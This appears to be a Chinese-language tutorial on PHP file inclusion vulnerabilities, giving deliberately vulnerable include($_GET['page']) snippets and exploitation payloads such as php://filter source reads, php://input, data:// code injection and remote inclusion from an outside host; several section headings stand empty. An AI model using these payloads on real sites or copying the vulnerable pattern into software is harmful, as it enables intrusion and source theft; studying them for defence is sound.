Web安全之文件包含漏洞

程序开发人员一般会把重复使用的函数写到单个文件中，需要使用某个函数时直接调用此文件。而无需再次编写，这种文件调用的过程一般被称为文件包含。
例如：include “conn.php”

PHP中常见包含文件函数

文件包含漏洞原理
文件包含漏洞产生的原因是在通过引入文件时，引用的文件名，用户可控，由于传入的文件名没有经过合理的校验，或者校验被绕过。

常见漏洞代码

if(isset($_GET[page])){
	 include $_GET[page];
}else{
	 include "home.php";
}

文件包含漏洞危害

文件包含漏洞的分类

当被包含的文件在服务器本地时，就形成的本地文件包含漏洞。
本地文件包含和远程文件包含造成漏洞的原因是一样的，当php.ini 中的配置选项allow_url_fopen和allow_url_include为ON的话，则包含的文件可以是第三方服务器中的文件，这样就形成了远程文件包含漏洞。

本地文件包含利用

包含上传图片_001

<?php
if(isset($_GET[page])){
	  include($_GET[page]);
}else{
	  include 'show.php';
}
?>

包含上传图片_002

<?php
if(isset($_GET[page])){
	  include('./action/' . $_GET[page]);
}else{
	  include ./action/show.php';
}
?>

包含上传图片_003

<?php
if(isset($_GET[page])){
	 include('./action/'. $_GET[page] . '.php');
}else{
	 include './action/show.php';
}
?>

%00截断

路径长度截断

读服务器本地文件

读网站源码文件
index.php?page=php://filter/read=convert.base64-encode/resource=index.php

伪协议：

直接包含木马文件，可以是图片，txt,压缩包…
?page=php://input 接收post请求
需要开启仅需要开启 allow_url_include
?page=http://172.18.11.66/0831/1.txt
需要开启 allow_url_fopen,allow_url_include (远程包含)
?page=php://filter/read=convert.base64-
encode/resource=main.php (读取文件源码)
?page=data://text/plain,<?php phpinfo();?>
需要开启allow_url_fopen,allow_url_include

包含日志文件GetShell

远程文件包含利用
包含远程txt文件（php.ini的配置选项allow_url_fopen和allow_url_include为on）,远程服务器上存放一个txt文件，或
者不被解析的php文件。（因为包含的时候返回的是php源代码，所以不能被解析）

index.php?page=http://www.xxx.com/1.txt

漏洞挖掘

修复办法